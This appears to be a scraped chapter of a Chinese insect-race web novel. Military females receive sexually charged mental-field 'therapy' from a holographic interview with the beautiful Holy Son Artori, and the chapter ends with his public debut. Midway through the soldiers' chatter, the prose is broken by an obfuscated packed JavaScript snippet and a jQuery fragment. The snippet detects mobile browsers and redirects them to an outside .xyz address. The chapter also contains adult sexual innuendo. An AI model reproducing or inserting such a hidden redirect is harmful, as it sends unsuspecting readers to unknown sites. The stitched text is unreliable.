“还真诚、卑微、认真的观看?上面那群虫,可真会谄媚。yue!圣廷的走狗!” “要雄虫!不要花瓶!” “狗屎!做不了理疗,回去睡觉也不行吗!!” 圣廷的威严,在下级雌虫眼中一文不值。 如果是自家附近的分教区,这些兵痞为了精神域能舒服一点,还愿意装装虔诚,换一点治疗的可能。 但在这封闭的军营里,在这几月几月都是训练,每晚都被队友精神域痛吵醒的牢笼里,每只虫都只在乎肉眼可见、切实可行、且确保能拿到手的好处。 电影理疗就是其中非常重要的“福利”。 说到这,得先谈谈精神力传感器。 雌虫虽有精神力,但大多只限于构建精神海防御。 主动感知、调动对他们来说非常难,更别说限于基因差异,他们根本无法解决自己精神域产生的问题。 雌虫,只能将自己交予雄虫,依靠他们的怜悯和恩赐来苟延残喘。 但雄虫和雌虫虫口的巨大差异,让这种匹配治疗关系永远处于供不应求的状况。 为了种族延续,为了成功生存,一雄多雌的婚姻制度应运而生。 雌虫交出身体和财产,雄虫给予治疗和后代。 这是一场看上去很公平的交易。 但仅限于已婚雌虫。 未婚雌虫该如何办? 除了市面上流通的劣质信息素抚慰剂和精神域缓和剂,他们的另一个选择,便是圣廷。 圣廷,是帝国内独立于军政系统的另一个庞然大物。 圣廷最高位者称教宗,又称圣皇,只能由雄虫担任,千百年来,多为罗森克洛伊家族。 教宗的地位和虫帝平级,除去宗教事物,其还与虫帝共掌世俗里的核心权力,比如政府官员任免权。 而各大家族的继承者,都必须得到圣廷的认可才为正统,才能顺利管辖自己领星,合法施用自己的权力。 圣廷在各大星球,都设有分殿,就连法制荒芜、帮派混战的荒星也不例外。 饱受精神域恶化之苦的雌虫们可以前往寻求帮助,而无私的圣职者当然会帮助他们。 只要你缴纳费用,或者给出相应的回报。 甚至于如果价码足够多,雌虫还可申请专门治疗师,和他们签订治疗契约。 可圣职者毕竟不是个虫终端,能随时携带、随叫随到。 精神力传感器便在此情况下应运而生。 这种机器的一端链接在雄虫身上,另一端链接着雌虫。通过刺激雌虫精神核特定区域的神经,加上 雄虫信息素、舒缓剂一系列配套药物,对雌虫的精神域进行远程疏导和抚慰性治疗。 科技不断进步,传感器也在与时俱进。 近百年来,传感器已经支持雄虫精神力的采集和长时间存储,同时还实现了一对多同步使用。 至此,精神力传感器实现了跨时代的大普及。 上至军团、政府,下至小型团体、公司企业,都在争相购买,给团体成员作为福利推广使用。 大批雌虫们只要坐在专用椅位上、戴上传感器,就可以轻松解除痛苦,实现虫身灵魂大和谐。 军雌们大声嚷嚷的“电影理疗”便是传感器的另一种拓展应用。 这种“电影”是军方组织制作,多为雄雌突破困难努力在一起的歌颂爱情片。 雄虫影星提供脸蛋声音和部分裸露、特写部位,给雌虫们全方位沉浸式体验。 专门的雄虫医师提供封存的精神力,再通过特殊机器加载到传感器的采集端,分发到另一端的雌虫精神域中,对他们进行安抚。 当然了,效果比不上雄子真正实操。但比信息素和缓和剂好使多了。 一些饥渴难耐的雌虫配上专用道具,同步还可纾解情欲,爽得里外一塌糊涂。 还有一些精神域岌岌可危、每日挣扎在狂化和功勋点谁先来恐慌中的军雌,主动报名参与高难度任务的,就是为了能获得由军方提供的更多类似治疗。 晚上2000。 数千名高级军官军纪齐整地出现在各军团的理疗室。 按照军阶高低以及精神域健康状况分成数十组,分队战立。 晚上2010。 第一批将级军官进入理疗室。 晚上2030。 第二批军官进入。 晚上2100。 第三批军官进入。 杰克森就在此序列中。 前两批军官都是从其他出口离开的。杰克森无从打探消息,也无法亲眼观察他上级们的状态。 他只能等到这一刻,亲自来验证。 他迈步向前。 理疗室乍看像个宽敞的电影院。不同的是,放映屏下整齐摆放着一排排的传感专用椅。 军官们井然有序的进入。工作虫依序退出。 整个空间一片黑暗静寂。 呼吸声清晰可闻。 等了大概一两分钟。正前方的大屏幕忽然亮起。 随着立体幕布被缓缓拉开,一个全息投影如从水面浮现面,带着波光在舞台正中央凝聚现形。 一只雄虫。 一只高挑纤细,十分年轻,却格外高贵优雅的雄虫。 他的姿容鲜亮夺目,身躯修长匀称,柔顺丝滑的长发披散在肩,如同流泻而下的水银。紫宝石般幽深双眸,反射着天际的渺远,显出几分孤冷。 浑身上下完美、和谐、统一,堪称造物主的宠儿。 阿尔托利·德拉·罗森克洛伊。 正是他们今晚要观看采访视频的主角。常年霸据大众情虫榜、帝国最想嫁、帝国最想睡雄虫榜单第一名的圣子殿下。 杰克森自认不是那种只看脸的雌虫。 可当这只雄虫的全息投影,在黑暗中缓缓浮现成形时,他感觉到了一种从心灵深处传来的震撼。 难以想象,居然有虫可以美成这样。 难以置信,这样的雄子竟真实存在于他们的世界。 在场雌虫明明都见过他的照片,可当镜头拉近,聚焦在雄虫的上半身,又缓缓扫过那潋滟冷淡的双眼、丰满红润的双唇、白皙无暇的肌肤时,那种震撼更加强烈。 而无论在场的雌虫之前是咒骂、是憎恨、是愤怒,他们所有的情绪,都在此刻归于一线—— 震撼与静寂。 五分钟后,投影缩小了,一间采访室出现,雄虫出现在沙发椅上,正对着他们盈盈一笑。 在他身侧,是一名亚雌主持人,说着惯有的开场白。 “……如果我没记错,圣子殿下是A级吧?” 采访开始不久,在场有军雌低声问道。 “很久以前就是A级了。A级的雄子可以安抚治疗S级和S以下的雌虫。在册虫数我记得不到一百万。” “不是我说,如果殿下能做线上治疗,以他的能力,一次百名都可以搞定吧。” “想什么呢!阿尔托利可是圣廷宝贝。这么多年就跟吉祥物似的,公众活动是一场一场出席,劳心费力的线上治疗?做梦吧!” “好像是因为没有成年,为了保护他的精神力?印象中哪年教宗提过。” “我曾经接受过一次助祭级别的一对多治疗,爽爆了,当场搞得裤子都没法穿。还只是最低级的E!” “TM的,羡慕死萨提洛斯少将。能嫁给阿尔托利殿下,不知道以后会有多□□!” “切,人家起点是我们一辈子也到不了的终点。但话说回来,圣子到现在都没表态,估计这婚事十有八九要黄。” “哈哈哈也不是不能理解。我要是雄虫,也想找个漂亮温柔的,起码抱起来舒服多了。少将?算了算了。” “突然觉得这样也不错。圣子可比电影里的雄虫美多了。再说,就那点稀释过的精神力,聊胜于无,不如躺着欣赏眼前的绝世美貌。” 你一句我一句。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14468314|153482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氛围很快热烈起来。 反正又没有军纪规定理疗室不能交流。中级军官们乐得钻空子,没一会就变成了遍及全场的八卦大讨论。 而且也不知道是不是杰克森的错觉,传感器里时不时就会有一丝很微弱的精神力波动,温温凉凉的很舒服,好像泡在泳池里晒着太阳,每根筋膜、每块肌肉都被揉开了,几个月积攒的压力不知不觉消散了大半,舒服的他忽然有点困。 采访不是很长,很快就进入到了后半段。 “殿下,这次祝祷仪式,全国上下都很期待。但星网上也有虫指出,您上次等级测评刚刚过A,不具备施行光复礼的实力。此次仪式,很可能存有黑幕……” “可真敢问!不怕圣廷黑手报复?” 军雌们笑嘻嘻地,却都不约而同坐直身子,想看雄虫如何应对。 “上次测评?几年前了?” 雄虫嘴角依然带笑,好像一点都不困扰,也没有往常雄子被侮辱的恼羞成怒。 “我依稀记得是十四还是十五岁?” “哦,是十三岁。八年了,我有很大变化,这样说的虫也该换换脑子,撇下无用的偏见了。” “当然,如果不想动脑,那也可以仰仗他虫判断,比如尊敬的教宗阁下。” 如此四两拨千斤又嘲讽拉满的回应,获得了现场军雌们的一片掌声。 不少虫还吹起了口哨。 “以前就跟个念稿机器虫似的,怎么突然这么敢说?” “性格挺不错的,要的就是真实!” “直爽!我喜欢!” 很快又到了下一个问题。 “……坊间流言,说您十分不满这桩婚事。私底下还称萨提洛斯少将为难啃的硬骨头,说他身材太壮,不通情趣,但凡脑子正常的雄子,都对少将下不了嘴……” “其他不予置评。后面那句我要更正。西恩确实块头大、脾气大,但我就喜欢这样的。” “婚约已在推进,如果顺利,明年这个时候,你们可以期待一下小虫崽的降生。” 军雌们哈哈大笑。 “刚才谁说圣子讨厌少将?我看他喜欢的很呢!” “对对对!那表情作不了假。哎呦,突然有点不好意思。” “虫崽……还挺想看。” 舞台正中,采访播到最后一分钟。 镜头拉近,银发雄虫浅浅微笑,不是最开始的标准完美笑,反而带着一种漫不经心的吊儿郎当,却自有一种自信坦然,让虫想屈膝跪下。 【一个祝福:享受周末,做个好梦!】 ! !! !!! 下一瞬,杰克森内置耳机中的提示音忽然滴滴滴狂叫起来。紧接着,系统提示—— 【检测到输入精神力。】 【正在测算……测算完成……已超过设定最小阀值……】 【正在启动治疗程序……】 【治疗等级评估:A】 杰克森的惊呼被脑内传来的强烈快感猛烈斩断! 这、这究竟是一种什么样的感觉啊…… 每一个细胞、每一根神经,都像浸泡在柔软的云端,享受着阳光的烘烤,然而下一刻,他们便被猛然抛入波涛汹涌的大海,被暴雨击打、被闪电穿髓,却没有痛苦,只有想要更多、更多的渴求、希冀。 仿佛回归虫蛋时期,被壳包裹,安全舒适,可以放下所有心防,除去所有烦恼,只是为每一次心跳、每一次呼吸而快乐、欣喜。 片刻前还议论纷纷的理疗室只余喘息、呻--吟和啜泣声。 杰克森怔在原地,许久许久,直到大门被从外打开、光线猛地射入,才再次恢复意识。 他摘掉传感器,刚要起身,忽然僵住了。 除了眼角滑下的泪水,他的裤子前后也都湿透了,滴滴答答的水声落在静寂空间里格外响亮。 不对。怎么还有回音? 杰克森本能向旁侧望去,然后在昏暗的光线里,和他前后左右的同僚们都对上了眼。 滴答滴答,滴答滴答。 下一刻,军雌们一只只别开脸,以堪比短跑竞赛的冲刺速度,一只只冲出了理疗室。 * 两天后,在帝国几兆虫口的期待中,由圣子阿尔托利主持的,为出征军团赐福的祝祷仪式正式开始。 各大军团都组织了观看。 杰克森坐在方阵里,眼睛一眨不眨地盯着中央的巨大投影屏。与他同一动作的,还有身边的无数军雌。 这次,没有咒骂、没有愤恨、没有不满,只有在过去两天内、日夜不分,时刻折磨着军雌们的渴求和期待。 他们发了疯的想要靠近、想要再见那只雄虫一面,而现在,机会就在眼前。 倒计时。 五、 四、 三、 二、 一—— ………… 直播屏幕亮起。 一只银发紫眸的俊美雄虫出现在无数投影屏前。 光在他身后晕开,仿佛星子落地、神邸临世。 成千上万的军雌看到自己破碎崩塌的世界开始复苏—— “大家早上好。初次见面,我是教廷圣子,阿尔托利·德拉·罗森克洛伊。” “此次祝祷仪式,由我主持。” 自此,帝国历史掀开新的一页。 这一天,五项精神力全通、被穆尔沙科特秘宗称为救世主的雄虫阿尔托利,第一次登上历史舞台,并在之后数年,亲手打造出盛极一时、无上繁荣的虫族帝国。